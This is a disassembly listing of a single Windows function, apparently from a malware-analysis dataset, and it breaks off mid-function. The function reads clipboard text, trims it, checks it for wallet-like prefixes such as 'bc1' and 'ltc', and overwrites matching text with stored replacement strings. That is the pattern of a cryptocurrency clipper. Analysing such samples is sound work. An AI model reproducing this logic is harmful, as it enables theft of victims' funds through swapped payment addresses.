Function at 0x14000c5b0
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0xb0
mov rax, qword [0x1400ec780]
xor rax, rsp
mov qword [rsp + 0xa8], rax
xor r13d, r13d
mov dword [rsp + 0x50], r13d
nop dword [rax + rax]
xor bl, bl
test bl, bl
jne 0x14000edd6
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000c5f2
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x14000edc9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c650
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400037e0
nop
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000c6c2
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000c6bd
nop dword [rax]
cmp rcx, rdx
je 0x14000c6c2
dec rcx
cmp byte [rcx], 0x20
je 0x14000c6b0
sub rcx, rdx
jmp 0x14000c6c9
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000edfb
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000c731
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000c731
nop dword [rax + rax]
cmp byte [rax], 0x20
jne 0x14000c852
inc rax
cmp rax, rcx
jb 0x14000c720
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
or r13d, 4
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f0540]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000c818
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000c818
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000c85f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c85a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee00
jmp 0x14000c85a
sub rax, rdx
jmp 0x14000c738
call fcn.140084d80
test bl, bl
je 0x14000c8ca
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000c863
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0530]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000c863
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0530]
inc rdx
lea r8, [0x1400f0520]
cmp qword [0x1400f0538], 0xf
cmova r8, qword [0x1400f0520]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000c918
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000c913
cmp rcx, rdx
je 0x14000c918
dec rcx
cmp byte [rcx], 0x20
je 0x14000c906
sub rcx, rdx
jmp 0x14000c91f
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee06
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000c981
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000c981
nop
cmp byte [rax], 0x20
jne 0x14000ca1b
inc rax
cmp rax, rcx
jb 0x14000c970
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
or r13d, 9
lea rbx, [rsp + 0x30]
mov r14, qword [rsp + 0x48]
cmp r14, 0xf
seta r15b
mov rsi, qword [rsp + 0x30]
cmova rbx, rsi
mov rax, qword [rsp + 0x40]
cmp rax, 3
jb 0x14000ca4c
lea rdi, [rbx + rax]
lea r8, [rdi - 2]
sub r8, rbx
mov edx, 0x62
mov rcx, rbx
call fcn.1400b7d00
test rax, rax
je 0x14000ca4c
cmp byte [rax], 0x62
jne 0x14000ca23
cmp byte [rax + 1], 0x63
jne 0x14000ca23
cmp byte [rax + 2], 0x31
jne 0x14000ca23
xor ecx, ecx
jmp 0x14000ca28
sub rax, rdx
jmp 0x14000c988
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x14000cb07
inc rax
lea r8, [rdi - 2]
sub r8, rax
mov edx, 0x62
mov rcx, rax
call fcn.1400b7d00
test rax, rax
jne 0x14000ca06
mov r8, qword [rsp + 0x68]
xor bl, bl
and r13d, 0xfffffffe
mov dword [rsp + 0x50], r13d
test r15b, r15b
je 0x14000ca97
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000ca8a
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee1a
mov rcx, rsi
call fcn.140084d80
mov r8, qword [rsp + 0x68]
test bl, bl
je 0x14000cb26
nop
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000caa0
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0190]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000caa0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0190]
inc rdx
lea r8, [0x1400f0180]
cmp qword [0x1400f0198], 0xf
cmova r8, qword [0x1400f0180]
jmp 0x14000ed63
cmp rax, rbx
jne 0x14000ca4c
mov r8, qword [rsp + 0x68]
cmp r8, 0x32
jbe 0x14000ca51
mov bl, 1
jmp 0x14000ca53
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
test r8, r8
je 0x14000cb72
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000cb6d
nop dword [rax]
cmp rcx, rdx
je 0x14000cb72
dec rcx
cmp byte [rcx], 0x20
je 0x14000cb60
sub rcx, rdx
jmp 0x14000cb79
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee0b
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000cbe1
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000cbe1
nop dword [rax + rax]
cmp byte [rax], 0x20
jne 0x14000cc7b
inc rax
cmp rax, rcx
jb 0x14000cbd0
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
or r13d, 0x12
lea rbx, [rsp + 0x30]
mov r14, qword [rsp + 0x48]
cmp r14, 0xf
seta r15b
mov rsi, qword [rsp + 0x30]
cmova rbx, rsi
mov rax, qword [rsp + 0x40]
cmp rax, 3
jb 0x14000ccac
lea rdi, [rbx + rax]
lea r8, [rdi - 2]
sub r8, rbx
mov edx, 0x62
mov rcx, rbx
call fcn.1400b7d00
test rax, rax
je 0x14000ccac
cmp byte [rax], 0x62
jne 0x14000cc83
cmp byte [rax + 1], 0x63
jne 0x14000cc83
cmp byte [rax + 2], 0x31
jne 0x14000cc83
xor ecx, ecx
jmp 0x14000cc88
sub rax, rdx
jmp 0x14000cbe8
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x14000cd67
inc rax
lea r8, [rdi - 2]
sub r8, rax
mov edx, 0x62
mov rcx, rax
call fcn.1400b7d00
test rax, rax
jne 0x14000cc66
mov r8, qword [rsp + 0x68]
xor bl, bl
and r13d, 0xfffffffd
mov dword [rsp + 0x50], r13d
test r15b, r15b
je 0x14000ccf7
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000ccea
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee1a
mov rcx, rsi
call fcn.140084d80
mov r8, qword [rsp + 0x68]
test bl, bl
je 0x14000cd86
nop
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000cd00
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0130]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000cd00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0130]
inc rdx
lea r8, [0x1400f0120]
cmp qword [0x1400f0138], 0xf
cmova r8, qword [0x1400f0120]
jmp 0x14000ed63
cmp rax, rbx
jne 0x14000ccac
mov r8, qword [rsp + 0x68]
cmp r8, 0x32
jae 0x14000ccb1
mov bl, 1
jmp 0x14000ccb3
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
test r8, r8
je 0x14000cdd2
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000cdcd
nop dword [rax]
cmp rcx, rdx
je 0x14000cdd2
dec rcx
cmp byte [rcx], 0x20
je 0x14000cdc0
sub rcx, rdx
jmp 0x14000cdd9
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee10
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000ce41
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000ce41
nop dword [rax + rax]
cmp byte [rax], 0x20
jne 0x14000cee5
inc rax
cmp rax, rcx
jb 0x14000ce30
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
or r13d, 0x20
mov dword [rsp + 0x50], r13d
lea rdi, [rsp + 0x30]
mov r15, qword [rsp + 0x48]
cmp r15, 0xf
seta r12b
mov r14, qword [rsp + 0x30]
cmova rdi, r14
mov rax, qword [rsp + 0x40]
cmp rax, 3
jb 0x14000cf19
lea rsi, [rax + rdi]
lea r8, [rsi - 2]
sub r8, rdi
mov edx, 0x62
mov rcx, rdi
call fcn.1400b7d00
mov rbx, rax
test rax, rax
je 0x14000cf19
nop
cmp byte [rbx], 0x62
jne 0x14000ceed
cmp byte [rbx + 1], 0x63
jne 0x14000ceed
cmp byte [rbx + 2], 0x31
jne 0x14000ceed
xor eax, eax
jmp 0x14000cef2
sub rax, rdx
jmp 0x14000ce48
sbb eax, eax
or eax, 1
test eax, eax
je 0x14000cf94
inc rbx
lea r8, [rsi - 2]
sub r8, rbx
mov edx, 0x62
mov rcx, rbx
call fcn.1400b7d00
mov rbx, rax
test rax, rax
jne 0x14000ced0
mov rbx, 0xffffffffffffffff
test r12b, r12b
je 0x14000cf56
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000cf4e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee1a
mov rcx, r14
call fcn.140084d80
test rbx, rbx
jne 0x14000cf99
nop dword [rax + rax]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000cf60
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0130]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000cf60
jmp 0x14000cd2f
sub rbx, rdi
jmp 0x14000cf20
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000cfe7
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000cfe2
cmp rcx, rdx
je 0x14000cfe7
dec rcx
cmp byte [rcx], 0x20
je 0x14000cfd5
sub rcx, rdx
jmp 0x14000cfee
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee15
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000d051
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000d051
nop dword [rax]
cmp byte [rax], 0x20
jne 0x14000d0f5
inc rax
cmp rax, rcx
jb 0x14000d040
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
or r13d, 0x40
mov dword [rsp + 0x50], r13d
lea rdi, [rsp + 0x30]
mov r15, qword [rsp + 0x48]
cmp r15, 0xf
seta r12b
mov r14, qword [rsp + 0x30]
cmova rdi, r14
mov rax, qword [rsp + 0x40]
cmp rax, 3
jb 0x14000d125
lea rsi, [rax + rdi]
lea r8, [rsi - 2]
sub r8, rdi
mov edx, WSAGetLastError
mov rcx, rdi
call fcn.1400b7d00
mov rbx, rax
test rax, rax
je 0x14000d125
nop
cmp byte [rbx], 0x6c
jne 0x14000d0fd
cmp byte [rbx + 1], 0x74
jne 0x14000d0fd
cmp byte [rbx + 2], 0x63
jne 0x14000d0fd
xor eax, eax
jmp 0x14000d102
sub rax, rdx
jmp 0x14000d058
sbb eax, eax
or eax, 1
test eax, eax
je 0x14000d15c
inc rbx
lea r8, [rsi - 2]
sub r8, rbx
mov edx, WSAGetLastError
mov rcx, rbx
call fcn.1400b7d00
mov rbx, rax
test rax, rax
jne 0x14000d0e0
mov rbx, 0xffffffffffffffff
test r12b, r12b
je 0x14000d169
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000d161
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee1a
jmp 0x14000d161
sub rbx, rdi
jmp 0x14000d12c
mov rcx, r14
call fcn.140084d80
test rbx, rbx
jne 0x14000d1d7
nop
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000d170
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f00f0]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000d170
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f00f0]
inc rdx
lea r8, [0x1400f00e0]
cmp qword [0x1400f00f8], 0xf
cmova r8, qword [0x1400f00e0]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000d225
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000d220
cmp rcx, rdx
je 0x14000d225
dec rcx
cmp byte [rcx], 0x20
je 0x14000d213
sub rcx, rdx
jmp 0x14000d22c
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee20
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000d291
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000d291
nop dword [rax + rax]
cmp byte [rax], 0x20
jne 0x14000d3b0
inc rax
cmp rax, rcx
jb 0x14000d280
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 7
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f00c0]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rdx, qword [rsp + 0x30]
add rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000d376
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000d376
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000d3bd
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d3b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee25
jmp 0x14000d3b8
sub rax, rdx
jmp 0x14000d298
call fcn.140084d80
test bl, bl
je 0x14000d428
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000d3c1
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f02d0]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000d3c1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f02d0]
inc rdx
lea r8, [0x1400f02c0]
cmp qword [0x1400f02d8], 0xf
cmova r8, qword [0x1400f02c0]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000d476
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000d471
cmp rcx, rdx
je 0x14000d476
dec rcx
cmp byte [rcx], 0x20
je 0x14000d464
sub rcx, rdx
jmp 0x14000d47d
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee2b
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000d4e1
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000d4e1
nop dword [rax]
cmp byte [rax], 0x20
jne 0x14000d600
inc rax
cmp rax, rcx
jb 0x14000d4d0
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 8
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f03a0]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rdx, qword [rsp + 0x30]
add rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000d5c6
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000d5c6
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000d60d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee30
jmp 0x14000d608
sub rax, rdx
jmp 0x14000d4e8
call fcn.140084d80
test bl, bl
je 0x14000d645
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000d611
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f00f0]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000d611
jmp 0x14000d19f
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000d693
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000d68e
cmp rcx, rdx
je 0x14000d693
dec rcx
cmp byte [rcx], 0x20
je 0x14000d681
sub rcx, rdx
jmp 0x14000d69a
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee36
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000d701
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000d701
nop dword [rax]
cmp byte [rax], 0x20
jne 0x14000d820
inc rax
cmp rax, rcx
jb 0x14000d6f0
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 9
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f01c0]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rdx, qword [rsp + 0x30]
add rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000d7e6
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000d7e6
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000d82d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d828
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee3b
jmp 0x14000d828
sub rax, rdx
jmp 0x14000d708
call fcn.140084d80
test bl, bl
je 0x14000d898
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000d831
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0150]
inc rdx
mov ecx, 2
